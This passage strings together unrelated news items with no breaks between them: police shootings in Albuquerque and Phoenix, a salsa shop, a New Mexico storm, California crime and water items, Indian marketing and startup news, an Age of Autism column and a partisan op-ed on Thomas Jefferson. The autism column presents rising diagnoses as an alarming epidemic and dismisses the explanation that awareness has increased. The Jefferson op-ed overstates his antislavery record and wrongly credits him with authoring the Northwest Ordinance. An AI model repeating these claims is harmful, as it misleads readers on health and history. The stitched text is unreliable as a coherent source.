run him off the road on Montano near Interstate 25. Grant was driving his girlfriends van and she was in the passenger seat. When asked for his identification, Grant handed Aragon the drivers license and concealed carry permit of a man about 20 years his junior. Aragon and two other officers Fredrick Ruiz and Jeremy Rotruck looked up the name on the drivers license and determined it belonged to a man who had reported his wallet had fallen out of his pocket in a Target parking lot about five months earlier. That man told the officers he was not the one they had pulled over he was at home sitting on his couch watching Netflix. At that point, Aragon asked Grant several times to get out of the van. Grant did not get out and, instead, grabbed the car keys he had been instructed to put on the dashboard. Aragon reached into the van, but withdrew when Grant placed it in gear and started to move forward. Ofc. Aragon exited the driver side of the van after having reached into the van to remove the driver from the van and he discharged his service pistol several times at the drivers side of the van, an investigator wrote in the report. The van continued to flee westbound on Montano Rd. after Ofc. Aragon had discharged several rounds towards the vehicle. Grant sped away and the three officers pursued him for about six miles before a lieutenant called it off. The investigation found that Aragon had violated APD policies that state an officer should not reach into a vehicle unless absolutely necessary, should not discharge a firearm at a moving vehicle unless the occupant of the vehicle is using deadly force and should initiate a pursuit only if a driver is a clear and immediate threat to others or has committed a violent felony. Officers Ruiz and Rotruck were investigated for the pursuit, but were cleared. Later that night, Grant and his girlfriend went to a convenience store in Rio Rancho and he was taken to the University of New Mexico Hospital to be treated for a gunshot wound in his back. Wanted on warrants When Aragon pulled Grant over, his girlfriend identified herself as the owner of the van, according to investigators. Looking through prior reports on the couple, officers were able to identify Grant as the driver. At around 5:30 the following morning, Rio Rancho police officers told APD they found Grant, his girlfriend and another woman at a gas station on Unser, north of McMahon, in Rio Rancho. Grants girlfriend told officers that, as he was leaving the traffic stop, he slumped over and said he thought he had been shot, and then the two went home. Hours later, she convinced him to go to the hospital, but he wanted to stop and get a drink at the gas station first. Grant had a gunshot wound to the lower back and was taken to Presbyterian Rust Medical Center, then airlifted to the University of New Mexico Hospital. Later that day, he was booked into the Metropolitan Detention Center and then transferred to the Sandoval County jail because he was wanted on warrants for failing to appear at a court hearing in a drug possession case and a forgery case. The forgery case has since been dismissed without prejudice. In November 2020, Grant was charged with possession of a controlled substance and shoplifting after officers arrested him at a Rio Rancho Target. According to a criminal complaint filed in Sandoval County Magistrate Court, Grant and his girlfriend took a 50-inch flat-screen television from the store. There was reportedly a small amount of what the officer believed to be methamphetamine and a small amount of marijuana in their car. Grant was released on his own recognizance on March 15 and, in May, another warrant was issued for him for failing to appear to a hearing in April. An attorney who had represented him in the case said Grant had not been in contact with his office for quite a while. The Dodge van was found March 30 with a broken drivers side panel window in the middle of the vehicle and keys in the ignition. Albuquerque police arrested an individual early Wednesday morning in connection with graffiti vandalism outside the main Albuquerque Police Department building at 400 Roma NW. Valley Area Command Officers were dispatched to the station about 1 a.m. and discovered extensive graffiti including racial slurs and inappropriate verbiage written in red spray paint along the stairs, walls, and exterior benches and planters, according to an APD news release. Officers were able to apprehend the offender who was later booked into MDC on felony criminal damage charges, police said. Cleanup crews arrived on scene and painted over the graffiti. PHOENIX The suspect accused of shooting and critically wounding a Phoenix police officer had served prison time for armed robbery and other felonies and continued shooting at the officer after he was already on the ground, according to police and a prosecutor. Images of Officer Tyler Moldovan being shot Tuesday morning at an apartment complex parking lot while he was on the ground were captured by police body camera video, according to the prosecutor, John Schneider. And the suspect, Essa Kolareh Eugene Williams, was heard on the video saying before he opened fire that we would be going back to jail, Schneider said at a court hearing for Williams Tuesday night. Schneider did not say whether the body cam video was from Moldovan. A police probable-cause statement said Moldovan, 22, suffered up to eight gunshot wounds, including one to his head, and was hospitalized on life support. Moldovans condition on Wednesday was still extremely critical, the police department said in an email. He was shot early Tuesday morning as officers searched for the driver of one of several cars reportedly driving erratically nearby. Other officers arrested Williams on charges that included attempted first-degree murder, according to a police statement and court records. A judge ordered Williams held for lack of $3 million cash bond. Williams continued to shoot the officer even after the officer was on the ground, Schneider said. The prosecutor added: Hes heard on body camera before the crimes occurred, saying something like he was going back to jail. A short time later he shot at police presumably to avoid any apprehension. Williams made the comment about going to jail while speaking on the phone to somebody as Moldovan approached, the police probable-cause statement said. Asked by Moldovan whether he had any weapons, Williams said he didnt but then produced a handgun from his waist area, raised it at the officer and fired multiple times, the statement said. After Moldovan fell to the ground and was shot again, Williams dropped his gun and tried unsuccessfully to yank the unresponsive officers handgun from his holster and then fought with a second officer before being arrested with the help of a third officer, the statement said. No defense attorney participated in the hearing for Williams and court records did not list one who could speak on his behalf. Williams has nine prior felony convictions, including ones for armed robbery, aggravated assault and endangerment, the probable-cause statement said. Williams was sentenced to multiple prison terms in 2017 and was released in 2020, Arizona corrections department records show. Red or green? Hot or mild? These are questions familiar to many New Mexicans, but luckily you dont have to choose just one. Salsa Saint, which opened at 400 Romero NW in Albuquerques Old Town in late September, has shelves stocked with more than 120 New Mexican-made salsas that make use of red chile, green chile, chile from Hatch and almost everything in between. Co-owner J.J. Mancini said the only rules guiding the salsa selection is that it has to be good and it has to be made in New Mexico and sold only or mostly in the state though he has made some exceptions for brands that can also be found in El Paso. Mancini, who has lived in Old Town since 2013 with his wife Sara, said he purchased the building housing Salsa Saint this year and was initially unsure of what to do with the small retail spot, until he realized that there wasnt one place to get every New Mexico-made salsa. Red chile and green chile (are) so critical to New Mexican culture and history, so we wanted to open up a store that featured and heralded New Mexican chile in all of its various forms, he said. While Old Town is a popular draw for tourists, Mancini said his goal was to create a store that also appealed to locals and hopefully even offered some brands lifelong New Mexicans havent discovered. Some of the salsas that can be found are an award-winning Hatch green chile salsa from Las Cruces-based The Bossy Gourmet, Granny Annies Chile which is made by a Rio Rancho company from a decades-old family recipe, and classic stand-bys like Pedros and Monroes. Mancini said he is always on the hunt for more and rarer brands. He said he hopes to eventually add some salsas made with heirloom chiles, also known as landrace chiles, from different regions of the state or from different pueblos. He said his new store is part of a revitalization of Old Town following the beginning of the pandemic which shuttered some longstanding gift stores and galleries. Theres a lot of cool new shops that are opening that are targeting locals more so than tourists, he said. Old Town is cool again for locals, Mancini said. Salsa Saint is open 11:30 a.m. to 5 p.m. Wednesday, Thursday and Sunday and 10 a.m. to 6 p.m. Friday and Saturday. For more information, visit salsasaint.com Editors note: An earlier version of this story gave an incorrect year for when J.J. Mancini and his wife purchased the building that houses their business. The couple bought the building in 2021, not 2020. The story has been updated. Copyright 2021 Albuquerque Journal SANTA FE A wind-driven snow squall storm triggered emergency cellphone alerts, severely damaged homes, knocked out power, downed trees and overturned small planes around northern New Mexico on Wednesday. In Taos County, an emergency shelter was set up at the Juan I. Gonzales Agricultural Center for families whose homes have been damaged by the storm and the County Commission passed a State of Emergency resolution, county information officer Anissa Arrambide said in a phone interview. We are going door to door to make sure they have a place to stay, Arrambide said. As of 10 a.m. Wednesday, we have had 10 homes severely damaged that were reported to emergency dispatch. There could have been more, we are still getting in details, she said. There have been no reports of injuries. Local media reported that at least 13 homes suffered structural damage, while power was knocked out in some areas, and Taos High School closed Wednesday morning due to continuing high winds. A roof was ripped off a home on Millicent Rogers Road in the El Prado area, according to the media reports. We are asking folks to check in on their neighbors and make sure everything is OK, County Manager Brent Jaramillo said in the same phone interview. We are also asking the Taos Volunteer Fire department to check their list of elderly or those who are disabled, Jaramillo said. Twelve power poles were knocked down in the storm, which struck Taos about 6 a.m., Arrambide said. Its everywhere, she said of the outages. In the northern areas, there is no electricity. Kit Carson Electric Cooperative crews were working to restore power, but were hampered by still heavy afternoon winds. They cant go up in their buckets, Arrambide said. Several inches of snow were reported in the Taos area. Elsewhere, Santa Fe residents were alerted at about 7 a.m. by several severe weather alerts warning of a snow squall as high winds whipped up overnight. Power was knocked out in the entire town of Los Alamos, representing 6,000 households or about 12,000 residents. Power was still out for about 2,000 customers at noon Wednesday and was predicted to be fully restored later in the day, Los Alamos city information officers said. Several small planes were overturned and parked vehicles damaged at the Santa Fe Regional Airport, and a large tree was blown down in front of the Saint Francis Cathedral in downtown Santa Fe, a city spokesman said. There was no widespread damage at the airport, the spokesman said. Clean-up crews were busy cutting trees and clearing roads in Los Alamos. We had not a lot of damage, just a lot of felled trees, said city spokeswoman Julie Williams-Hill. About a dozen or so (trees) actually caused damage to power lines. Power lines were also damaged at the Pajarito Mountain Ski Area, she said. REDDING, Calif. - A suspect was caught and shot at the Win-River resort following a burglary in Redding. The Redding Police department confirmed the suspect, Adam Parsons, is awaiting surgery for a gunshot wound, while one of their officers who shot him is on paid administrative leave. RELATED: Officer placed on paid administrative leave for Redding shooting This began Monday morning when police say Parsons robbed a woman who hired him to do yard work. Meanwhile, police say the victim told them Parsons threw a cinder block through the back door of her house and then assaulted her. Captain for the Redding Police Department Ron Icely, says Parsons had been stalking her. "She had reported that she had seen him in her driveway, and there was another instance that she was reportedly on the side of the house," Icely said. Icley says Parsons is also connected to another incident that happened around October. "I'm concerned, when they broke into the lady's house because we got a lot of good people out here and I care about my neighbors, and that's just really concerning someone broke into her house and stole her car," Tom Voorhees-Pasquini said. Police located Parsons at Win-River Resort around 12 a.m. on Tuesday. Police say he pulled out a gun when they tried to arrest him and Parsons was shot. RELATED: Home invasion robbery suspect arrested after officer-involved shooting Icley says Parson shot and injured one of the department's K9s and says RPD does not want to confirm who fired the shot that injured Parson. The Redding Rancheria shared the following statement with Action News Now regarding the shooting: "The Redding Rancheria was saddened to learn that there was a firearms-related shooting. Law enforcement responded and is currently investigating the matter, and, therefore, we have no other comment at this time." CHICO, Calif.- Chico police say officers arrested two men for stealing catalytic converters from cars in a Chico neighborhood Tuesday morning. They say San Saechao,31, and Ker Ly, 39, are from the Sacramento area and drove a truck with a stolen Chico license plate when they were removing the catalytic converters. Officers say a homeowner on Wyndham Court called the police when they saw the men with their neighbor's car on a jack. The men ran when police showed up but the officer blocked their escape. A search of the truck turned up two catalytic converters, along with a floor jack and several cutting tools. Investigators say they found surveillance footage showing the men stealing one of the catalytic converters. Officers returned both to the owners. Saechao and Ly are booked into the Butte County Jail on a $30,000 bond each. ORLAND, Calif. - People who live in the Orland area have the opportunity to express their interest in the water system for free, according to the North Valley Community Foundation. The City of Orland was awarded a grant of nearly $8 million from the California Department of Water Resources. The grant is for drought relief. The NVCF said the city will use the funding to extend its water system and allow residents outside the city limits to hook up to the system for free. People who live in Glenn County can submit their interest in connecting to the system as all residents outside the city limits are eligible, not just people who reported dry wells. The city will determine a plan and timeline for the project once the Orland Area Water Supply Project determines how many households are interested. People should submit their interest before Dec. 31. People interested in expressing their interest can click here to apply. The new omicron coronavirus mutant speeding around the world may bring another wave of chaos, as it threatens to further stretch hospital workers already struggling with a surge of delta cases and upend holiday plans for the second year in a row. Omicron, even if it proves milder on the whole, may disarm some of the life-saving tools available and put immune-compromised and elderly people at particular risk as it begins a rapid assault on the United States. Most likely, experts say, an omicron surge is already under way in the United States as its spread outpaces the nation's ability to track it. Leena Nair, the first female and youngest-ever Chief Human Resources Officer of Anglo-Dutch FMCG multinational Unilever, has stepped down to become the Global Chief Executive Officer of French luxury firm Chanel. She was a member of Unilever's Leadership Executive (ULE), which is in charge of the company's business and financial success. "Leena Nair, CHRO, has chosen to leave the firm in January 2022 to explore a new career opportunity as Global Chief Executive Officer, Chanel Ltd," Unilever announced in a statement. Nair's professional career now spans almost 30 years. She joined Hindustan Unilever Ltd (HUL) as a management trainee in 1992, after graduating with honours from the Xavier School of Management, one of India's premier business schools. She was one of the few female factory workers at the time, and she was named factory personnel manager of Lipton (India) Ltd in 1993. After launching Work Your World, a one-of-a-kind employee experience enabling all Publicis Groupe employees to work anywhere in the world for up to six weeks every year, Maurice Levy, Chairman of the Supervisory Board, Publicis Groupe, and Chairman and CEO Arthur Sadoun look for inspiration on where they could work in 2022. In a hilarious video, the two top bosses of Publicis Groupe mull over different places across the world, heavily inspired by all time great Hollywood films. There are some things that one cant unsee for instance Levy and Sadoun as Jack and Rose on the Titanic, or Sadoun as Maria singing The hills are alive (Sound of Music) or Levy as the terrifying twin girls in The Shining! Arthur Sadoun said, This is traditionally the time of the year for looking back and reflecting on the past. But after another challenging 12 months for our people, we wanted to look forward with them, offer a fresh perspective, and hopefully make them smile. Our 2022 Wishes are an invitation not just to work your world but to hopefully create the kind of incredible memories many of us have missed out on over the past two years. The Publicis Groupes 2022 Wishes film was created by Le Truc, in partnership with Prodigious. Work Your World is a global employee-first experience unique to Marcel, which combines flexibility, opportunity and growth for all talent. Launching in January 2022, with health and safety at the core, the program will allow every Publicis Groupe employee to work from any accessible country where the Groupe is present, for up to 6 weeks a year. Watch the video below and see how many of the iconic Hollywood films can you recognise: Polycab India Ltd, a leading FMEG (Fast Moving Electrical Goods) brand, recently rolled out its new Masterbrand campaign featuring actor and youth icon Ayushmann Khurrana. The campaign takes the musical route to capture the experiential essence of being liberated and joyous as felt by consumers upon using Polycab range of products. ALSO READ: How MFine is fortifying is Cure with Care proposition in its latest campaign The new campaign seamlessly encompasses an array of Polycabs distinguished consumer-centric products ranging from LED Lights, Fans, Smart Home-Automation, Green Wires to Cables, while keeping the viewer engrossed with the upbeat, music-and-shuffle dance-driven youthful narrative. The new campaign seamlessly encompasses an array of Polycabs distinguished consumer-centric products ranging from LED Lights, Fans, Smart Home-Automation, Green Wires to Cables, while keeping the viewer engrossed with the upbeat, music-and-shuffle dance-driven youthful narrative. Speaking to Adgully for the Talking Insights column, Nilesh Malani, President and Chief Marketing Officer, Polycab India Ltd, elaborates on the new campaign, choice of Ayushmann Khurrana as the brand ambassador, enhancing digital presence in rural and Tier 2-3 markets, consumer engagement strategy and more. A category like fans and LED lights are highly competitive and there are many players from the unorganised sector as well. How are you differentiating your products to get into the consideration set? While the inherent aspects offered by products such as LED and fans might appear similar, however at Polycab, our approach is to stand out distinctly from the crowd and place our proposition based on elements of aesthetics, design, and style over and above basic consumer benefits. For instance, our range of Purocoat fans offer NANOVA technology and are best ceiling fans with 4-in-1 Protection. (Anti-rust, Anti-dust, Anti-fade, Anti-Bacteria). Similarly, our Superia range of super premium fans offer multiple features such as aura LED, anti-rust body, stay-cool motor, higher air coverage, robust motor and are equipped with max air technology. As part of our LED product line, we offer Smart LED and Emergency bulbs that are designed with new-age features such as Bluetooth-enabled, color& temperature changing capabilities, allow remote-controlled based navigation and energy-saving mode. We also have range of smart Panel LEDs. Furthermore, we have also resorted to providing consumers with phygital experiences by setting up Polycab Galleria Knowledge Centers and Polycab Arena (Shop-in-shop) stores in multiple cities. Thus, the fundamental brand promise is to establish a long-term connect with end consumer that remains intact for generations to come. What is the objective of your new ad film? How have you positioned the brand in the cluttered market and who is your target audience? Our thought behind the latest Dance of Joy Polycab Masterbrand campaign is to creatively capture the feeling of being liberated and joyous experienced by consumers upon using Polycab range of products such as LED Lights, Fans, Smart Home-Automation, Green Wires and Cables. The musical note and dance grooves make it much more engaging with the millennial and young generation who are the primary target audience. As mentioned earlier, rather than competing as me-too products, we have rather upped the scale and positioned our brand promise on offering enriched experiences lasting for generations. You have moved to a younger celebrity Ayushmann Khurana from your earlier celeb endorser, Paresh Rawal. What prompted you to take this decision and why do you feel he is the right fit for the Polycab brand? Our association with Paresh Rawal was beneficial and it has delivered our brand objectives that were set during our journey together. The aura and persona carried by Paresh Rawal as a celebrity has its own distinct identity that enthralls his huge fan following. While we continue to applaud him from the fence, as a brand we are in a continuous journey of evolution. With changing consumer demographics in general and increased role of millennials and young generation, we felt the need to capture the joyful, energetic, young traits exhibited by this segment. Bollywood actor Ayushmann Khurrana was, therefore, roped in two years back as he is perfect brand fit for Polycab India, an electrical solution company. Polycab is a new brand that has entered the FMEG market. How did you navigate during the pandemic and what has been your strategy for Tier 2 and 3 towns, where there is good demand for electrical goods and brands? One core value that remains intrinsic to brand Polycab is consumer-centricity and even as we step into our 25th year of brand establishment, this inherent urge to match up to client expectations continues unabated. Also, it is this brand trait that has helped us manage our stronghold in our conventional areas of business involving wires and cables. We believe that as an electrical solutions company, it is a logical extension to serve the FMEG markets with our wide range of Fans, LED bulbs, Switches and Smart Home Automation Solutions, Home Wires. Providing consumers with phygital experiences by setting up multiple Polycab Galleria Knowledge Centers that aim to offer innovative engagement modes with key stakeholders, namely consumers, electricians, electric consultants, architects, and builders. In contrast to general industry conventions, we have set our Galleria centers as pure-play engagement outlets. This is a distinct marketing avenue conceptualised by Polycab. Additionally, we have enhanced our digital presence in rural along with Tier 2-3 markets, where Internet usage is growing rapidly. Our physical world retail presence spans over 165,000 retailers connecting us to consumers and over 4,100+ authorised distributors and dealers across the country. Overall, our consistent endeavour is to empower the consumers and stakeholders with the brand promise offered by Polycab, that is, of staying connected for lifelong. Whats your engagement strategy with your audience? How do you plan to leverage the new film with Ayushmaan Khurrana to get maximum mileage? We have devised a holistic and balanced media mix to reach out to our target audience. It involves buying advertisement space on various channels across genres, digital and social media platforms. We had also bought premium space in the recently concluded India-New Zealand T20 series. On social media, we plan to have engaging content for end consumers. Moreover, for our retail network, the campaign will be prominently visible via marketing collaterals and in shop branding. Our aim is to capture wide stakeholder attention, and though the campaign invoke the highest orders of joyfulness and happiness in the minds of Indian consumers. kindlife, a new age beauty and wellness ecosystem enabling commerce, community, and brands, has raised an undisclosed amount for their seed round. Founded by Radhika Ghai, kindlife enables consumers to shop for 150+ curated kinder brands across beauty, nutrition, and home care. The fundraise was led by Kalaari Capital under their CXXO initiative. Vani Kola, Founder, and MD, Kalaari Capital said, We believe that the role of women leaders is essential for a thriving start-up ecosystem. Radhika embodies the qualities of an ideal CXXO (a Kalaari Capital initiative for women founders) founder - an innovator, risk-taker, and role model to aspiring female entrepreneurs. Her passion and commitment towards sustainable living, coupled with her wealth of experience and clear vision, truly resonated with us. We are proud to be early partners with Radhika and kindlife in their journey to create a unique well-being ecosystem. The round also saw participation from Java Capital, Titan Capital, TDV, and prominent investors like Pankaj Gupta, CEO-GII, Suhail Sameer, CEO- BharatPe, Shashvat Nakrani, Co-founder-BharatPe, Manisha Raisinghani, Co-founder-LogiNext, Shweta Jain -CBDO, Diageo Luxury, and attorney-at-law Sakshi Soni. According to a World Economic Forum and Bain & Company report (Nov 2020), India is a $5.7 trillion consumption economy in the making. Indian consumers want to make kinder choices and kindlife with its community of experts, kind-brands and robust technology will ensure that we are present every step of the way to enable these kind choices, says Radhika Ghai, Founder, and CEO, kindlife. Premiumisation and up-gradation of lifestyle will fuel more than 40% of the projected growth in the Indian consumers demand, a trend which is also clearly visible in the recent D2C boom. We have a lot of work to do, but the path is clear to us. said Radhika. Co-founded by Vidit Jain and Manasa Garemella, kindlife simplifies the journey for consumers who are looking for kind products and brands who want to tell their stories via their products to this community. Kiran Vasireddy, a Partner, Kalaari Capital, added We are excited to partner with Radhika. We have great conviction in her vision to acquire and build a powerhouse of brands leading the clean-living theme in India. We are bullish on her rich experience from scaling her previous marketplace venture along with the functional expertise of her diverse team. kindlife is our third investment under the CXXO program, and we are pumped up about women entrepreneurs driving the digital India consumption story in the upcoming decade. Bangalore-based coffee QSR start-up Third Wave Coffee raised $6 million as part of its Series A funding round. Several existing and new shareholders participated in the private equity round, including Sujeet Kumar (Co-Founder, Udaan), Arpan Sheth (Bain & Company) and Ayyappan Rajagopal (CEO, Cleartrip), amongst others. The Series A funding comes just months after the start-up closed its pre-Series A funding round in April from a clutch of investors, including Sujeet Kumar, Nikhil Kamath, Neelesh Bhatnagar, Ayyappan Rajagopal and others. Third Wave Coffee counts itself as one of the top coffee QSRs in the country, with a significant market share presence across North and South India, in key markets like Delhi and Bangalore. It has consistently focused on providing value for Indian consumers through innovative local and international offerings in coffee and food by offering offline first touchpoints to create a range of specially curated coffees, baked goods and food. The fresh infusion will be used by the company for pan-India expansion and to hire a leadership team from top QSR brands. Since its launch in 2017, Third Wave Coffee has rapidly scaled the market and is en route to having the largest market share in Bangalore. In the last 12 months, the brand has tripled its number of stores. Third Wave Coffee has grown from 10 outlets at the end of 2020, to 35 outlets across 4 cities, including Delhi and, soon, Mumbai. Founded by Ayush Bathwal, Anirudh Sharma and Sushant Goel, Third Wave Coffee is one of India's fastest-growing QSR coffee companies. Other coffee tech start-ups like Indonesia's Kopi Kenangan that raised $109 million last year, Singapore-based chains Ratio and Flash Coffee and Chinas homegrown Coffee Box are also rising to meet demands from their respective regions. As the Indian economy grows, coffee consumption becomes a daily part of gen-Z and early millennial habits, especially given their active social lives. A large part of this population falls within the high disposable income group and thus consumes premium organised brands more frequently. With more opportunities to visit cafes and more evolved tastes, consumers are drawn to QSRs that produce and source both ethically and locally. Third Wave Coffee aims to disrupt the coffee space by breaking the monotony of the usual flavours with globally-influenced coffee and food pairings that match the palate of the modern, discerning Indian consumer, said Sushant Goel, Co-Founder and CEO, Third Wave Coffee. Dept, an Amsterdam-based digital firm, plans to scale up to 1000 workers in the region by 2024, and Vishnu Mohan will lead an aggressive expansion strategy in the APAC region. Mohan joins Dept as a partner and chief growth officer after stepping down as Chairman and CEO of Havas Group Southeast Asia, India, and North Asia, in January after 25 years with the company. He will work closely with Dimi Albers, the company's global CEO. Dept, which was founded in 2015, describes itself as a combination of a creative digital execution firm and a digital transformation agency. Google, Samsung, Mizuno, KFC, KLM, Twitch, Fujitsu, and Spotify are among the agency's clients, and it employs over 2,000 employees across 17 countries. Carlyle, a private equity firm, owns a majority stake in Dept. In the previous year, it acquired four agencies, including design and experience firm Basic and creative technology firm Byte. Mohan has been tasked with growing the APAC organisation to provide 10% of global revenues by 2024, in addition to scaling to 1000 people. The company aims to use Singapore as a base and establish a satellite team in Manila. Berlin, CT: The city also cut the ribbon on a new autism center. Ten to 15 families are currently enrolled and more are coming. Rothschild, WI: A ribbon cutting ceremony was held for opening of new autism center. New Orleans, LA: In response to a growing population of children with Autism Spectrum Disorder a service provider is partnering with a local school. Spokane, WA: A new autism school will open on Jan 4. Its got space for 20 kids, but there have been more than 50 applications. Heres another week in the decline of education and childhood worldwide on Loss of Brain trust . Will we ever wake up? Right now were always focused in children/students, but the day will soon arrive where across the population, well have to recognize that people cant function and they need critical support. Instead, as my website shows, the powers that be just stumble on, complaining about costs while adding more and more accommodations for kids who cant learn normally. Why are so many students qualifying for special schools and why do so many kids need special ed plans in regular schools? Why is autism a category in itself, to the point where we have to have whole school to provide an education for those affected? No one is asking , Why cant Billy learn like kids have always done? By Anne Dachel It always amazes me how, especially in Britain, they talk whats happening to the health of children, and yet no one is alarmed. (Maybe there is concern over what the costs are getting to be, but thats it.) Oshkosh, WI: A ribbon-cutting ceremony was held for an early learning autism center. Beachwood, OH: An autism care clinic just opened. The clinic manager: We are so excited. New York: An assemblyman is calling for better autism services. He said theres been a significant increase in autism. Maryland: The governor has appointed the first statewide autism coordinator. The same piece assured us that theres no real problem with autism. Researchers suggest that the rise in autism rates may be due to increased awareness around the condition. Copperas Cove, TX: With deference for autistic students, the district has created sensory-friendly classrooms in every elementary school. Theyve now extended sensory-friendly spaces to include the school hallways. Melbourne, FL: An ABA provider has opened a new center for autistic children. From England: An MP in Britain has proposed a bill in Parliament for universal screening of all children in primary school for dyslexia. Sheppey: Plans are in the works for a new special school for 50 students opening for the 2025/2026 school year. Ipswich: The principal of a new special school is really excited about the 60 place academy. Croydon: A ribbon cutting ceremony was held for the opening of an autism school for 150 students. Croydon: Maybe the need for the new special school is behind the report that 80% of parents surveyed here made the damning claim that special ed services are not preparing students for adulthood. Suffolk: The local council is seeking more funding for special education. Dorset: There is a $50M plan to expand special ed services in the county eventually creating 500 new places for disabled students. Fenland: A local mother has launched a petition to get more special school places for disabled children. "There are a lot of children with special needs in [town of] March and I can't understand why we haven't got our own special school, or at least a special unit for them - it makes no sense that's why I have launched this petition calling on the education authority to do something about this situation. Gwynedd: The local council has added $64K to an area $190K plan to address autism. Officials call it an exciting plan. A London borough: The new headteacher has been named at a local autism school. She said this is an exciting time. Hertfordshire: Despite adding $10M to the special ed budget, its not enough. Hertfordshire County Council has increased investment into SEND funding in mainstream schools across the country from 9.5m [$13M] to 17.5m [$23M] this year. The Department for Education says it is supporting councils by making 2.6 billion [$3.5B] available over the next three years to deliver new places and improve existing provision for pupils with Special Educational Needs and Disabilities.A local mom with an autistic daughter made it clear that it wasnt enough. there are not enough places, not enough schools and not enough support. "The government should be doing more to support the local authorities, they should provide more funding for their education. "The council cannot help, there are no spaces at special education schools." Jen said: "Now, after almost two and a half years of fighting, Ava has a place at Woodfield School for Special Needs in Hemel, but there is a four-year waiting list. as there are just no places. There are not enough special schools. The pressure is on in Hertfordshire. The demand for SEND support continues to increase, raising challenges both nationally and here in Hertfordshire. In common with many local authorities, we are experiencing a high demand for specialist provision, with a 37% increase in pupils with Education and Health Care Plans (EHCPs) over the last three years, as well as the additional challenges due to COVID-19. "Our Special School Place Planning Strategy 2020-23 sets out our commitment and investment to create over 300 new permanent special school places, and the development of a countywide pattern of specialist resource provision in mainstream schools. Cheshunt: A nursery and preschool in this London borough has received the National Autistic Societys Inclusion Award This award recognises its commitment to embracing and celebrating that every child is unique. The National Autistic Society has long ignored the autism epidemic among children and regularly reminds the public that the autism affects all age groups the same. Other places Ireland: Were told that a mother is desperate to get a secondary school place for her autistic son. Ms Gould said she, and other parents of children with autism in the town, have had to apply to over 20 schools across the county in the hope of securing places for their chlildren next year. But despite being one of the largest towns in Cork, the two established secondary schools in Ballincollig dont have dedicated autism units. Ontario, Canada: The government is trying to do more for autistic students in kindergarten and first grade. Among the facts cited: In July 2019, the Ontario government increased the Ontario Autism Program (OAP) budget from approximately $300 million to $600 million annually to help ensure the program was both needs-based and sustainable moving forward. As the work of implementing this new program was being completed, approximately 40,000 children and youth have been receiving services and supports through an existing OAP behaviour plan, childhood budgets, interim funding, core clinical services, foundational family services and caregiver mediated early years programs. India: In one city, parents, concerned about the future for their autistic children, have started a residential facility for those affected and their families. The question for most parents with children with autism or disabilities is what happens after us, said Arunasis Adhikari, a parent and one of the persons behind the project. The concern for most parents is who will look after their children after their death. We want the responsibility to be taken by fellow parents who have children with autism because they will understand their issues and show empathy, said Adhikari, also the secretary of a trust that runs a school for children with special needs in the city. No one seems to ask why autistic young adults cant go where autistic adults have always gone. Why are they so afraid of the future for our autistic children? What does the absence of adult services currently really tell us? Anne Dachel is Media Editor for Age of Autism. The anti-American Left constantly lies. This is not surprising. What is troubling, however, is their bid to twist all American history into the narrative of the 1619 Project -- something that many historians have critiqued as containing misleading and factual inaccuracies. A case in point is the man whom Democrats once revered: Thomas Jefferson. To say that Jefferson was a complex and complicated man is an understatement and virtually everyone knows that Jefferson was a complex and complicated man. New York Citys recent removal of his statue from their city hall indicted his legacy of slavery as the main reason. While it is true that Jefferson owned slaves, that is not his legacy regarding slavery. In fact, Jefferson was the most ardent abolitionist and anti-slavery politician in the early republic. His early draft of the Declaration condemned slavery and blamed the English Crown for its imposition in North America and the filth that it brought. In 1778, in the midst of the American Revolution, Jefferson lobbied and successfully convinced the Virginia Legislature to ban the import of slaves into the state. It was the first state after the Declaration of Independence to outlaw the slave trade. As governor, while the war ravaged the southern states, Jefferson supported African Americans serving in the Virginia militia to be compensated with land and money for their service to advance the cause of liberty. After the Constitutional Convention and the formation of the American republic, the expansion of slavery was a contentious issue as involved the westward expansion. Jefferson took his stand against the expansion of slavery when he authored the Northwest Ordinances, thus preventing the Midwest from having the peculiar institution expanding into its lands. Jefferson indirectly ensured that the great agrarian and industrial heartland of the United States, so instrumental in the Unions victory in the Civil War, would become the center of the Republican Party and anti-slavery movement, which would later prove to be the arsenal of democracy in the 20th century. As President, Jefferson advocated Congress to ban the international slave trade in the United States. Congress complied and Jefferson signed the Act Prohibiting Importation of Slaves into law. While the domestic slave trade wasnt affected, Jefferson didnt rest on the legislation but sent American naval ships into the Atlantic and West African coasts to prevent slave smuggling into the United States. Of all the major politicians of the early republic, Jefferson was the most ardent anti-slavery leader in the new republic. He successfully lobbied for two laws that banned the slave trade, one for a state and the second for the country as a whole. He also authored laws that would prevent the expansion of slavery into new territories as the young country expanded westward. And as all know who have read his writings, he believed in gradual emancipation. Jeffersons real record and legacy on slavery, ensuring the future American Midwest would be a free land, his outlawing the international slave trade which undeniably limited the cruelty and expansion of slavery, and his ideals outlined in the Declaration of Independence which motivated the Civil Rights Movement is not compatible with the view that America is evil and that all her institutions are tainted by slavery. As Jeffersons life shows, he fought against the expansion of slavery and prevented the corruption of American institutions from slavery. States like Ohio, Michigan, Indiana, Illinois, Wisconsin, and Minnesota were all affected by Jeffersons Northwest Ordinance and entered the Union as free states. All were major supporters of the Union in the Civil War and became Americas backbone in the fights against totalitarianism in the 20th century. In arguing for the end of the slave trade, Jefferson showed real courage and set a precedent for Congress passing laws preventing the expansion of slavery, which would eventually lead to the end of slavery 60 years later. Our free republic owes so much to Thomas Jefferson. Jeffersons legacy shows the real story of American progress: an imperfect but good people fighting for liberty and continuing to fight for liberty and the expansion of liberty for all persons. But since the 1619 Projects narrative cannot abide by this reality, Jefferson must go. Jefferson must go because he, more than any other early figure in America, represents the goodness and idealism of the United States, our republic, our self-governing democratic convictions, and the complex goodness of America. By eliminating Jefferson and only concentrating on Jeffersons personal ownership of slaves clouds his real legacy and allows the narrative of American darkness and evil to take root and expand. Jefferson is, and remains, the essential figure whom critics of the 1619 Project and its misleading characterizations and its lies flock to in order to rebut it. If Jefferson is gone then the 1619 Project is seemingly free from strong criticism. Why? Because no other Founding Father has such a record and legacy that repudiates the notion of American evil than Jefferson. Since his death, Americans who have advocated the advancement of liberty and equality have always stood on the shoulders of Jefferson. Andrew Jacksons war against central banking and expansion of voting rights was in the spirit of Jefferson. Abraham Lincoln saw himself in Jeffersons mold by wanting to preserve the Union and then abolish slavery. Franklin Roosevelt also saw himself in the Jeffersonian tradition and, during the fight against totalitarianism in Europe and Asia, commissioned the Jefferson Monument as an eternal reminder of Jeffersons spirit of liberty which the United States was now fighting to protect. Jefferson, until the past ten years, was a truly bipartisan figure. Limited government conservatives and libertarians cherished his views on the federal government. Liberals and civil rights activists looked to Jeffersons commitment to personal liberty and his political idealism (however imperfect his own life was) as inspirational and aspirational. Democrats used to call their major dinner fundraising 